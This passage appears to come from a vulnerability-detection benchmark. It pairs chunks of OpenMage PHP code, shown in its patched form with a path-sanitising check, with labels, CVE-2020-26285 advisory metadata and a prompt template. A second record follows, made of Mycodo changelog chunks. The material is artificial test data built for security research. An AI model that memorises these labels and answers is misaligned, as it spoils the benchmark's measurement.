$this->_getData('area');\n }", " /**\n * Getter\n *\n * @return string\n */\n public function getPackage()\n {\n if (!$this->_getData('package')) {\n $this->_parsePackageTheme();\n }\n return $this->_getData('package');\n }", " /**\n * Getter\n *\n * @return string\n */\n public function getTheme()\n {\n if (!$this->_getData('theme')) {\n $this->_parsePackageTheme();\n }\n return $this->_getData('theme');\n }", " /**\n * Parse packageTheme and set parsed package and theme\n *\n * @return $this\n */\n protected function _parsePackageTheme()\n {\n if ($this->getPackageTheme() && strpos($this->getPackageTheme(), '/')) {\n list($package, $theme) = explode('/', $this->getPackageTheme());\n $this->setData('package', $package);\n $this->setData('theme', $theme);\n }\n return $this;\n }", " /**\n * Getter\n * Explode to array if string setted\n *\n * @return array\n */\n public function getStoreIds()\n {\n if (is_string($this->getData('store_ids'))) {\n return explode(',', $this->getData('store_ids'));\n }\n return $this->getData('store_ids');\n }", " /**\n * Getter\n * Unserialize if serialized string setted\n *\n * @return array\n */\n public function getWidgetParameters()\n {\n if (is_string($this->getData('widget_parameters'))) {\n try {\n return Mage::helper('core/unserializeArray')->unserialize($this->getData('widget_parameters'));\n } catch (Exception $e) {\n Mage::logException($e);\n }\n }\n return (is_array($this->getData('widget_parameters'))) ? $this->getData('widget_parameters') : array();\n }", " /**\n * Retrieve option array of widget types\n *\n * @return array\n */\n public function getWidgetsOptionArray()\n {\n $widgets = array();\n $widgetsArr = Mage::getSingleton('widget/widget')->getWidgetsArray();\n foreach ($widgetsArr as $widget) {\n $widgets[] = array(\n 'value' => $widget['type'],\n 'label' => $widget['name']\n );\n }\n return $widgets;\n }", " /**\n * Load widget XML config and merge with theme widget config\n *\n * @return Varien_Simplexml_Element|null\n */\n public function getWidgetConfig()\n {\n if ($this->_widgetConfigXml === null) {\n $this->_widgetConfigXml = Mage::getSingleton('widget/widget')\n ->getXmlElementByType($this->getType());\n if ($this->_widgetConfigXml) {\n $configFile = Mage::getSingleton('core/design_package')->getBaseDir(array(\n '_area' => $this->getArea(),\n '_package' => $this->getPackage(),\n '_theme' => $this->getTheme(),\n '_type' => 'etc'\n )) . DS . 'widget.xml';\n if (is_readable($configFile)) {\n $themeWidgetsConfig = new Varien_Simplexml_Config();\n $themeWidgetsConfig->loadFile($configFile);\n if ($themeWidgetTypeConfig = $themeWidgetsConfig->getNode($this->_widgetConfigXml->getName())) {\n $this->_widgetConfigXml->extend($themeWidgetTypeConfig);\n }\n }\n }\n }\n return $this->_widgetConfigXml;\n }", " /**\n * Retrieve widget availabel templates\n *\n * @return array\n */\n public function getWidgetTemplates()\n {\n $templates = array();\n if ($this->getWidgetConfig() && ($configTemplates = $this->getWidgetConfig()->parameters->template)) {\n if ($configTemplates->values && $configTemplates->values->children()) {\n foreach ($configTemplates->values->children() as $name => $template) {\n $helper = $template->getAttribute('module') ? $template->getAttribute('module') : 'widget';\n $templates[(string)$name] = array(\n 'value' => (string)$template->value,\n 'label' => Mage::helper($helper)->__((string)$template->label)\n );\n }\n } elseif ($configTemplates->value) {\n $templates['default'] = array(\n 'value' => (string)$configTemplates->value,\n 'label' => Mage::helper('widget')->__('Default Template')\n );\n }\n }\n return $templates;\n }", " /**\n * Retrieve blocks that widget support\n *\n * @return array\n */\n public function getWidgetSupportedBlocks()\n {\n $blocks = array();\n if ($this->getWidgetConfig() && ($supportedBlocks = $this->getWidgetConfig()->supported_blocks)) {\n foreach ($supportedBlocks->children() as $block) {\n $blocks[] = (string)$block->block_name;\n }\n }\n return $blocks;\n }", " /**\n * Retrieve widget templates that supported by given block reference\n *\n * @param string $blockReference\n * @return array\n */\n public function getWidgetSupportedTemplatesByBlock($blockReference)\n {\n $templates = array();\n $widgetTemplates = $this->getWidgetTemplates();\n if ($this->getWidgetConfig()) {\n if (!($supportedBlocks = $this->getWidgetConfig()->supported_blocks)) {\n return $widgetTemplates;\n }\n foreach ($supportedBlocks->children() as $block) {\n if ((string)$block->block_name == $blockReference) {\n if ($block->template && $block->template->children()) {\n foreach ($block->template->children() as $template) {\n if (isset($widgetTemplates[(string)$template])) {\n $templates[] = $widgetTemplates[(string)$template];\n }\n }\n } else {\n $templates[] = $widgetTemplates[(string)$template];\n }\n }\n }\n } else {\n return $widgetTemplates;\n }\n return $templates;\n }", " /**\n * Generate layout update xml\n *\n * @param string $blockReference\n * @param string $templatePath\n * @return string\n */\n public function generateLayoutUpdateXml($blockReference, $templatePath = '')\n {", " if ($templatePath !== htmlspecialchars($templatePath, ENT_QUOTES | ENT_HTML5)\n || $blockReference !== htmlspecialchars($blockReference, ENT_QUOTES | ENT_HTML5)) {\n Mage::throwException('Templatepath or block reference contain special characters.');\n }\n", " $templateFilename = Mage::getSingleton('core/design_package')->getTemplateFilename($templatePath, array(\n '_area' => $this->getArea(),\n '_package' => $this->getPackage(),\n '_theme' => $this->getTheme()\n ));\n if (!$this->getId() && !$this->isCompleteToCreate()\n || ($templatePath && !is_readable($templateFilename))) {\n return '';\n }\n $parameters = $this->getWidgetParameters();\n $xml = '<reference name=\"' . $blockReference . '\">';\n $template = '';\n if (isset($parameters['template'])) {\n unset($parameters['template']);\n }\n if ($templatePath) {\n $template = ' template=\"' . $templatePath . '\"';\n }", " $hash = Mage::helper('core')->uniqHash();\n $xml .= '<block type=\"' . $this->getType() . '\" name=\"' . $hash . '\"' . $template . '>';\n foreach ($parameters as $name => $value) {\n if (is_array($value)) {\n $value = implode(',', $value);\n }\n if ($name && strlen((string)$value)) {\n $xml .= '<action method=\"setData\">'\n . '<name>' . $name . '</name>'\n . '<value>' . Mage::helper('widget')->escapeHtml($value) . '</value>'\n . '</action>';\n }\n }\n $xml .= '</block></reference>';", " return $xml;\n }", " /**\n * Invalidate related cache types\n *\n * @return $this\n */\n protected function _invalidateCache()\n {\n $types = Mage::getConfig()->getNode(self::XML_NODE_RELATED_CACHE);\n if ($types) {\n $types = $types->asArray();\n Mage::app()->getCacheInstance()->invalidateType(array_keys($types));\n }\n return $this;\n }", " /**\n * Invalidate related cache if instance contain layout updates\n */\n protected function _afterSave()\n {\n if ($this->dataHasChangedFor('page_groups') || $this->dataHasChangedFor('widget_parameters')) {\n $this->_invalidateCache();\n }\n return parent::_afterSave();\n }", " /**\n * Invalidate related cache if instance contain layout updates\n */\n protected function _beforeDelete()\n {\n if ($this->getPageGroups()) {\n $this->_invalidateCache();\n }\n return parent::_beforeDelete();\n }\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [497], "buggy_code_start_loc": [497], "filenames": ["app/code/core/Mage/Widget/Model/Widget/Instance.php"], "fixing_code_end_loc": [503], "fixing_code_start_loc": [498], "message": "OpenMage is a community-driven alternative to Magento CE. In OpenMage before versions 19.4.10 and 20.0.5, there is a vulnerability which enables remote code execution. In affected versions an administrator with permission to import/export data and to create widget instances was able to inject an executable file on the server. The latest OpenMage Versions up from 19.4.9 and 20.0.5 have this Issue solved", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:openmage:openmage:*:*:*:*:lts:*:*:*", "matchCriteriaId": "E706EF46-D4ED-40AD-B1D8-EAA875FB326B", "versionEndExcluding": "19.4.10", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:openmage:openmage:*:*:*:*:lts:*:*:*", "matchCriteriaId": "4258600B-5C75-41D6-A9C8-6D6AABC6CBF3", "versionEndExcluding": "20.0.5", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "20.0.0", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "OpenMage is a community-driven alternative to Magento CE. In OpenMage before versions 19.4.10 and 20.0.5, there is a vulnerability which enables remote code execution. In affected versions an administrator with permission to import/export data and to create widget instances was able to inject an executable file on the server. The latest OpenMage Versions up from 19.4.9 and 20.0.5 have this Issue solved"}, {"lang": "es", "value": "OpenMage es una alternativa impulsada por la comunidad a Magento CE. En OpenMage versiones anteriores a 19.4.10 y 20.0.5, se presenta una vulnerabilidad que permite una ejecuci\u00f3n de c\u00f3digo remota. En las versiones afectadas, un administrador con permiso para importar/exportar datos y crear instancias de widgets pudo inyectar un archivo ejecutable en el servidor. Las \u00faltimas versiones de OpenMage hasta 19.4.9 y 20.0.5 tienen este problema solucionado"}], "evaluatorComment": null, "id": "CVE-2020-26285", "lastModified": "2021-01-28T16:21:54.703", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.2, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.2, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 8.7, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 5.8, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-01-21T14:15:12.620", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/OpenMage/magento-lts/commit/4132668f5009f17456fe644742026f56d2297586"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/OpenMage/magento-lts/releases/tag/v19.4.10"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-hj6w-xrv3-wjj9"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-434"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/OpenMage/magento-lts/commit/4132668f5009f17456fe644742026f56d2297586"}, "type": "CWE-22"}
150
Determine whether the {function_name} code is vulnerable or not.
[ "## 8.12.7 (Unreleased)", "\n### Bugfixes", " - Fix refreshing LCD Display Function line options when changing number of lines\n - Fix installation of Function Action dependencies\n - Fix error when unauthenticated users attempting to land on the home page\n - Fix Gauge Widget dependencies ([#1100](https://github.com/kizniche/mycodo/issues/1100))\n - Fix installation of pigpiod", "", "\n### Features", " - Add ability to install on most Debian-based systems\n - Add ability for Actions to work on Function Controllers\n - Add LCD Backlight On/Off Actions to LCD Functions ([#1089](https://github.com/kizniche/mycodo/issues/1089))\n - Add Input: SHT2x (using alternate sht20 library with more accurate measurements and settable temperature resolution)\n - Add Input: SHTC3", "### Miscellaneous", " - Update python packages", "\n## 8.12.6 (2021-09-03)", "### Bugfixes", " - Fix accessing dependency page ([#1082](https://github.com/kizniche/mycodo/issues/1082))\n - Fix loading Input page if Math controllers are present ([#1083](https://github.com/kizniche/mycodo/issues/1083))\n - Fix MQTT JSON Input dependency version ([#1085](https://github.com/kizniche/mycodo/issues/1085))", "### Features", " - Add Inputs: MLX90393, DPS310", "\n## 8.12.5 (2021-09-01)", "### Bugfixes", " - Fix aggregate dependency page ([#1082](https://github.com/kizniche/mycodo/issues/1082))", "\n## 8.12.5 (2021-09-01)", "### Bugfixes", " - Fix loading of dependency install page\n - Prevent loading of Highstock JS more than once", "\n## 8.12.4 (2021-08-31)", "### Bugfixes", " - Fix Input temperature compensation", "### Features", " - Add ability to set Dependency Message to be displayed on dependency install page", "\n## 8.12.3 (2021-08-31)", "### Bugfixes", " - Fix redrawing Graph/Gauge Widgets on resize\n - Fix Gauge Widget dark theme ([#1080](https://github.com/kizniche/mycodo/issues/1080))\n - Really fix missing channels for Atlas EC sensor", "\n## 8.12.2 (2021-08-30)", "### Bugfixes", " - Fix missing channels for Atlas EC sensor", "\n## 8.12.1 (2021-08-30)", "### Bugfixes", " - Fix display of Graph and Gauge Widgets on dashboard ([#1078](https://github.com/kizniche/mycodo/issues/1078))", "\n## 8.12.0 (2021-08-29)", "This release changes the way settings are saved, which requires a change to any custom Inputs/Outputs/Functions you have in use. If your custom module includes the seldom-used execute_at_modification() function (such as Mycodo/mycodo/inputs/python_code.py), you will need to change the parameters as well as the return variables.", "Before:", "```python\ndef execute_at_modification(\n mod_entry,\n request_form,\n custom_options_dict_presave,\n custom_options_channels_dict_presave,\n custom_options_dict_postsave,\n custom_options_channels_dict_postsave):\n allow_saving = True # Allows saving of options to occur\n return (allow_saving,\n mod_entry,\n custom_options_dict_postsave,\n custom_options_channels_dict_postsave)\n```", "After:", "```python\ndef execute_at_modification(\n messages,\n mod_entry,\n request_form,\n custom_options_dict_presave,\n custom_options_channels_dict_presave,\n custom_options_dict_postsave,\n custom_options_channels_dict_postsave):\n # messages[\"page_refresh\"] = True # Setting to True will cause the options on the user's page to refresh\n # messages[\"error\"].append(\"Some error\") # Uncomment this line to prevent options saving\n # messages[\"warning\"].append(\"This will be a warning message\")\n # messages[\"info\"].append(\"This will be an info message\")\n if not messages[\"error\"]:\n messages[\"success\"].append(\"Successfully completed execute_at_modification()\")\n return (messages,\n mod_entry,\n custom_options_dict_postsave,\n custom_options_channels_dict_postsave)\n```", "Additionally, if you are currently using the MQTT JSON Input and your topics contain any special characters, you will need to enclose the topic in quotes (e.g. sensor-1 to \"sensor-1\").", "### Bugfixes", " - Fix taking photos with camera library \"raspistill\" when AWB set to off\n - Fix issue querying graph data\n - Fix flag/tag newlines on asynchronous graphs\n - Fix single quotes in translations causing error ([#1019](https://github.com/kizniche/mycodo/issues/1019))\n - Fix CCS811 Input dependency install issue ([#1023](https://github.com/kizniche/mycodo/issues/1023))\n - Fix sense-hat dependency issue\n - Fix saving Output checkboxes ([#1029](https://github.com/kizniche/mycodo/issues/1029))\n - Fix PiOLED Functions ([#1030](https://github.com/kizniche/mycodo/issues/1030))\n - Fix PID controller properly reporting if Held/Paused\n - Fix cmd_output() killing daemon upon command timeout ([#1047](https://github.com/kizniche/mycodo/issues/1047))\n - Fix missing check for Widget dependencies during upgrade/restore\n - Fix output_sec_currently_on()\n - Fix Widgets being able to be moved/resized when dashboard locked\n - Fix Indicator Widget unit not using correct font size\n - Fix display of tags on more than one Graph Widget\n - Fix first channel of L298N DC Motor Controller Output not working\n - Fix setting Graph Widget custom colors when tag selected\n - Fix Graph Widget custom colors when more than one Input selected\n - Fix note array memory leak on Graph Widgets\n - Fix FTDI device detection on Output page\n - Fix sending commands to Atlas Scientific devices via FTDI\n - Fix Atlas Scientific Peristaltic Pump Output calibration\n - Fix temperature compensation unit conversion for Atlas ORP, EC, and pH sensors ([#1064](https://github.com/kizniche/mycodo/issues/1064))\n - Fix Camera Widget displaying time-lapse images ([#1072](https://github.com/kizniche/mycodo/issues/1072))\n - Fix Activate/Deactivate Actions not working for Functions", "### Features", " - Add ability to install Javascript/CSS dependencies\n - Add ability to submit forms without refreshing the page ([#1040](https://github.com/kizniche/mycodo/issues/1040))\n - Add ability to install dependencies without changing the page\n - Add drag and drop sorting of Inputs/Outputs/Functions\n - Add modal dialog for Input/Output/Function configuration\n - Add option for a numerical keypad login\n - Add options for camera library raspistill: AWB Gain Blue, AWB Gain Red\n - Add Input: ADS1256 with Analog pH/EC sensors\n - Add Input: SI1145 Light/Proximity sensor\n - Add Output: MCP23017 16-Channel I/O Expander (On/Off)\n - Add return status to Conditional Controllers\n - Add 2- and 4-line variants of SSD1306 Display Functions and extra Options ([#1030](https://github.com/kizniche/mycodo/issues/1030))\n - Add calibration to the Atlas Scientific EC Input Peristaltic Pump Output\n - Add Spacers for Input and Output lists\n - Add PDF Manual\n - Add ability to set the Indicator Widget's unit font size\n - Add temperature compensation to Atlas Dissolved Oxygen sensor\n - Add TDS, Salinity, and Specific Gravity measurements for Atlas Scientific EC sensor ([#1065](https://github.com/kizniche/mycodo/issues/1065))\n - Add ability to define new Flask endpoints in Widget modules", "### Miscellaneous", " - Replace TravisCI (no longer free) with [Github Actions](https://github.com/kizniche/Mycodo/actions/workflows/main.yml) to perform unit tests\n - Update KP303 library ([#1028](https://github.com/kizniche/mycodo/issues/1028))\n - Add Try/Except for checking Output Triggers ([#1037](https://github.com/kizniche/mycodo/issues/1037))\n - Speed up loading of Camera page\n - Update Gridstack to the latest version\n - Ensure Atlas DO sensor only returns DO ([#1052](https://github.com/kizniche/mycodo/issues/1052))\n - Remove Highcharts/Highstock Javascript from package to be compliant with licensing\n - Remove calibration page (all functionality has been moved to modules)\n - Place Output columns at back of Graph Widget charts\n - Add Measurements/Units: Specific Gravity, Salinity, Total Dissolved Solids, Parts per Thousand\n - Add conversions for Parts per Thousand\n - Specify virtualenv install version in requirements.txt ([#1067](https://github.com/kizniche/mycodo/issues/1067))\n - Enable server-side Flask session", "\n## 8.11.0 (2021-06-05) ", "### Bugfixes", " - Fix upgrading database to version 61a0d0568d24\n - Fix Generic Pump Output timestamps\n - Fix inability to add Camera Widget for some cameras\n - Fix error referencing key of Input dict that doesn't exist\n - Fix unnecessary reference to measurement dict causing error ([#1001](https://github.com/kizniche/mycodo/issues/1001), [#1005](https://github.com/kizniche/mycodo/issues/1005))\n - Add missing dependency for HC-SR04 Input ([#1003](https://github.com/kizniche/mycodo/issues/1003))\n - Fix 'id' KeyError when saving certain Inputs ([#1004](https://github.com/kizniche/mycodo/issues/1004))\n - Fix I2C PiOLED Display Functions\n - Fix clearing total volume of Hall Flow Input ([#994](https://github.com/kizniche/mycodo/issues/994))\n - Fix SSD1306 OLED Display Function initialization\n - Fix PID Min/Max options not being respected ([#998](https://github.com/kizniche/mycodo/issues/998))\n - Fix error when PWM Output duty cycle is 0\n - Change pin default when creating an Output from 0 to None\n - Don't run Output shutdown function if not set up\n - Fix Controller custom_option messages not being visible\n - Fix output state checking not handling errors ([#990](https://github.com/kizniche/mycodo/issues/990))\n - Fix BME680 Input dependency\n - Fix GrovePi DHT Input\n - Fix Method dependencies not being installed\n - Prevent non-streamable camera types from being selected to stream in Camera Widget ([#991](https://github.com/kizniche/mycodo/issues/991))", "### Features", " - Add ability to set decimal places for Angular and Solid Gauge Widgets\n - Add ability to lock Dashboards (remove ability to edit widget options) ([#996](https://github.com/kizniche/mycodo/issues/996))\n - Add ability to display the status of Functions and PID Controllers in the UI\n - Add Widget: Function Status\n - Add Conditional Controller option: Timeout (seconds)\n - Add Function Actions: Camera Timelapse Pause/Resume\n - Add Temperature Compensation for Atlas Scientific pH Input during calibration\n - Add Output channel names to Graph Widget multi-select and legend\n - Add Function: Backup to Remote Host (rsync)\n - Add Input: Anyleaf Electrical Conductivity\n - Add ability to calibrate Atlas Scientific ORP and DO sensors\n - Add ability to change I2C address of Atlas Scientific devices\n - Add Input: CCS811 (without temperature) ([#992](https://github.com/kizniche/mycodo/issues/992))\n - Add Input: MQTT Subscribe (JSON payload)\n - Add Output: Grove I2C Motor Driver (TB6612FNG, Board v1.0)\n - Add Output: Grove I2C Motor Driver (Board v1.3)\n - Make Enable Pin optional for L298N Output", "\n## 8.10.1 (2021-04-27)", "### Bugfixes", " - Fix warning preventing saving of Python code\n - Fix Sense Hat Input dependency", "### Features", " - Add Input: Atlas Scientific humidity sensor\n - Add Camera: raspistill\n - Make Add Output dropdown searchable", "### Miscellaneous", " - Add \"Both\" direction option for On/Off and PWM Bang-Bang Outputs", "\n## 8.10.0 (2021-04-24)", "This release contains changes that requires modification to any Custom Functions you may have in use. In order for the new features to work for Custom Functions, it required the use of an abstract base function class (similarly to Inputs and Outputs). As a result, any Custom Functions that previously were formatted as such:", "```python\nfrom mycodo.controllers.base_controller import AbstractController", "class CustomModule(AbstractController, threading.Thread):\n \"\"\"\n Class to operate custom controller\n \"\"\"\n def __init__(self, ready, unique_id, testing=False):\n threading.Thread.__init__(self)\n super(CustomModule, self).__init__(ready, unique_id=unique_id, name=__name__)", " self.unique_id = unique_id\n self.log_level_debug = None", " # Set custom options\n custom_function = db_retrieve_table_daemon(\n CustomController, unique_id=unique_id)\n self.setup_custom_options(\n FUNCTION_INFORMATION['custom_options'], custom_function)\n```", "will need to be changed to the format:", "```python\nfrom mycodo.functions.base_function import AbstractFunction", "class CustomModule(AbstractFunction):\n \"\"\"\n Class to operate custom controller\n \"\"\"\n def __init__(self, function, testing=False):\n super(CustomModule, self).__init__(function, testing=testing, name=__name__)", " # Note: The following 2 lines are no longer needed to be defined here. Delete them.\n # self.unique_id = function.unique_id \n # self.log_level_debug = None", " # Set custom options\n custom_function = db_retrieve_table_daemon(\n CustomController, unique_id=self.unique_id) # Note: \"self.\" is added here\n self.setup_custom_options(\n FUNCTION_INFORMATION['custom_options'], custom_function)", " # These two lines are new and are required to execute initialize_variables()\n if not testing:\n self.initialize_variables()\n```", "You also no longer need to define the following (i.e. you can remove these lines):", "```python\ncontroller = db_retrieve_table_daemon(\n CustomController, unique_id=self.unique_id)\nself.log_level_debug = controller.log_level_debug\nself.set_log_level_debug(self.log_level_debug)\n```", "Additionally, if you have pre_stop() in your Function Class, it will need to be renamed to stop_function().", "There are two ways to perform these changes.", "Method A:", "1. Deactivate all custom functions.\n2. Delete all custom functions on the Setup -> Function page.\n3. Delete all custom functions on the Configure -> Custom Functions page.\n4. Perform the Mycodo upgrade.\n5. Make the necessary edits to all your Custom Functions.\n6. Import all your updated Custom Functions on the Configure -> Custom Functions page.\n7. Add and configure your Custom Functions on the Setup -> Function page.", "Method B:", "1. Either SSH into your Raspberry Pi or use a keyboard/mouse/monitor and edit the Custom Functions in the ~/Mycodo/mycodo/function/custom_functions directory.\n2. Perform the Mycodo upgrade.", "Method A is more involved, but does not require accessing the Pi from outside the web UI. Method B has fewer steps and doesn't require deleting and reconfiguring new Functions, but requires being able to SSH in to your Raspberry Pi or connecting a keyboard/mouse/monitor to be able to edit the files in-place.", "As always, a backup of the current system files and settings is performed during an upgrade, allowing you to restore your system to a previous release state if needed.", "### Bugfixes", " - Fix camera paths not saving ([#955](https://github.com/kizniche/mycodo/issues/955))\n - Fix returning pylint3 report after saving Python Code\n - Fix detection of multiple cameras by opencv\n - Fix SCD30 (CircuitPython) Input ([#963](https://github.com/kizniche/mycodo/issues/963))\n - Fix importing Mycodo Settings ZIP if custom modules were exported ([#967](https://github.com/kizniche/mycodo/issues/967))\n - Fix inability to install picamera library on some Pi 4s ([#967](https://github.com/kizniche/mycodo/issues/967))\n - Fix VPD Function saving and calculating pressure conversion ([#978](https://github.com/kizniche/mycodo/issues/978))\n - Fix pressure conversion equations ([#978](https://github.com/kizniche/mycodo/issues/978))\n - Fix issues with Function channels/measurements\n - Fix Mijia LYWSD03MMC Input using a nonexistent pybluez version\n - Fix Hall Flow Input\n - Remove Flask-Session to resolve bug preventing frontend loading ([#971](https://github.com/kizniche/mycodo/issues/971))", "### Features", " - Add Input: SHT41x\n - Add Input: Adafruit I2C capacitive soil sensor\n - Add Input: CircuitPython variants of the BME280 and SHT31-D Inputs\n - Add Input: KP303 Smart WiFi Power Strip ([#980](https://github.com/kizniche/mycodo/issues/980))\n - Add Input: Generic Analog pH/EC using ADS1115 ADC\n - Add Input: Tasmota Outlet Energy Monitor\n - Add Output: DS3502 Digital Potentiometer\n - Add Output: ULN2003 Unipolar Stepper Motor Driver\n - Add Function: SSD1309 Display\n - Add Function: Bang-Bang PWM\n - Add Function Action: MQTT Publish\n - Add Function Action: webhook to emit HTTP requests ([discussion](https://kylegabriel.com/forum/general-discussion/webhook-action/))\n - Partial conversion of Display/LCD controllers to Display Functions\n - Add external temperature compensation for Anyleaf pH Input\n - Add ability to set camera stream frames per second\n - Add missing stream resolution option to opencv cameras\n - Add ability for Atlas Scientific Peristaltic Pump Outputs to run in reverse\n - Add new ADC measurement rescaling method: Equation\n - Add Custom Actions to Functions\n - Add \"wait_for_return\" option to Custom Actions\n - Convert all LCD/Display controllers to Functions\n - Add ability to not have to set time-lapse end (defaults to 10 years) ([#987](https://github.com/kizniche/mycodo/issues/987))", "### Miscellaneous", " - Add Measurements: Apparent Power, Reactive Power, Power Factor\n - Add Units: kilowatt-hour, Watt, Volt-Amps, Volt-Amps-Reactive\n - Specify package versions for pypi dependencies\n - Update python libraries\n - Add unit testing for Custom Functions\n - Add ability to change theme from Config dropdown menu", "\n## 8.9.2 (2021-03-16)", "This bugfix release changes how sessions are handled and as a result will log all users out following the upgrade.", "### Bugfixes", " - Fix Function measurements not appearing in some dropdowns\n - Fix displaying saved Custom Option values when Inputs/Outputs have Custom Actions ([#952](https://github.com/kizniche/mycodo/issues/952))\n - Fix silent failures when cookies are too large ([#950](https://github.com/kizniche/mycodo/issues/950))\n - Fix use of select_measurement_channel custom option in controllers ([#953](https://github.com/kizniche/mycodo/issues/953))\n - Fix error-handling of erroneous measurements/units ([#949](https://github.com/kizniche/mycodo/issues/949))", "\n## 8.9.1 (2021-03-13)", "### Bugfixes", " - Fix API deactivating controller in database ([#944](https://github.com/kizniche/mycodo/issues/944))\n - Fix invalid conversion ([#947](https://github.com/kizniche/mycodo/issues/947))\n - Fix inability to save MQTT Input ([#946](https://github.com/kizniche/mycodo/issues/946))\n - Fix Camera Widget ([#948](https://github.com/kizniche/mycodo/issues/948))", "\n## 8.9.0 (2021-03-08)", "This release contains bug fixes and several new types of Inputs and Outputs. These include stepper motors, digital-to-analog converters, a multi-channel PWM output, as well as an input to acquire current and future weather conditions.", "This release also deprecates Math controllers. Current Math controllers will continue to function, but new Math controllers cannot be created. Instead, all Math controller functionality has been ported to Functions (Setup -> Function page), in order to reduce complexity and improve customizability. Much like Inputs and Outputs, Functions are single-file modules that can be created by users and imported. Take a look at the Mycodo/mycodo/functions directory for the built-in Function modules.", "The new weather input acquires current and future weather conditions from openweathermap.org with either a city (200,000 to choose from) or latitude/longitude for a location and a time frame from the present up to 7 days in the future, with a resolution of days or hours. An API key to use the service is free and the measurements returned include temperature (including minimum and maximum if forecasting days in the future), humidity, dew point, pressure, wind speed, and wind direction. This can be useful for incorporating current or future weather conditions into your conditional controllers or other functions or calculations. For instance, you may prevent Mycodo from watering your outdoor plants if the forecasted temperature in the next 12 to 24 hours is below freezing. You may also want to be alerted by email if the forecasted weather conditions are extreme. Not everyone wants to set up a weather station, but might still want to have local outdoor measurements, so this input was made to bridge that gap.", "### Bugfixes", " - Fix broken Output API get/post calls\n - Fix selecting output channels in custom functions\n - Fix Autotune PID Function ([#876](https://github.com/kizniche/mycodo/issues/876))\n - Fix issue with LockFile not locking\n - Fix Output State and Output Duration On Conditional Conditions ([#879](https://github.com/kizniche/mycodo/issues/879))\n - Fix not showing camera stream buttons for cameras libraries that don't have stream support ([#899](https://github.com/kizniche/mycodo/issues/899))\n - Fix Clock Pin option showing twice for UART Inputs\n - Fix MCP3008 Input error ([#902](https://github.com/kizniche/mycodo/issues/902))\n - Fix Input Measurement option Invert Scale not displaying properly ([#902](https://github.com/kizniche/mycodo/issues/902))\n - Fix MQTT output being able to set 0 to disable option\n - Fix compounding of Function Action return messages in Conditionals\n - Fix ADS1015 and ADS1115 inputs only measuring channel 0 ([#911](https://github.com/kizniche/mycodo/issues/911))\n - Fix install of pyusb dependency of Adafruit_Extended_Bus ([#863](https://github.com/kizniche/mycodo/issues/863))\n - Fix Message and New Line options in Custom Options\n - Fix Conditional sample_rate not being set from Config\n - Fix Saving Angular and Solid Gauge Widget stop values ([#916](https://github.com/kizniche/mycodo/issues/916))\n - Fix uncaught exception if trying to acquire image when opencv can't detect a camera ([#917](https://github.com/kizniche/mycodo/issues/917))\n - Fix displaying input/output pypi.org dependencies with \"==\"\n - Fix pressure measurement in BME680 and BME280 Inputs ([#923](https://github.com/kizniche/mycodo/issues/923))\n - Fix controllers disappearing following reorder ([#925](https://github.com/kizniche/mycodo/issues/925))\n - Fix Inputs that use w1thermsensor ([#926](https://github.com/kizniche/mycodo/issues/926))\n - Fix issue generating documentation for similar Inputs/Outputs/Widgets\n - Fix execution of Input stop_input()\n - Fix Input Pre-Outputs not turning on\n - Fix Output not activating for Camera\n - Fix PWM trigger and Duration Method ([#937](https://github.com/kizniche/mycodo/issues/937))\n - Fix stopping Trigger Controllers ([#940](https://github.com/kizniche/mycodo/issues/940))\n - Fix Tags not appearing in Graph Widgets\n - Fix variable measurement Inputs saving correctly\n - Fix detection of custom_option save type (CSV or JSON) for proper parsing\n - Fix saving of unchecked checkboxes when using forms", "### Features", " - Add Digital-to-Analog Converter output support (and add MCP4728) ([#893](https://github.com/kizniche/mycodo/issues/893))\n - Add Stepper Motor Controller output support (and add DRV8825) ([#857](https://github.com/kizniche/mycodo/issues/857))\n - 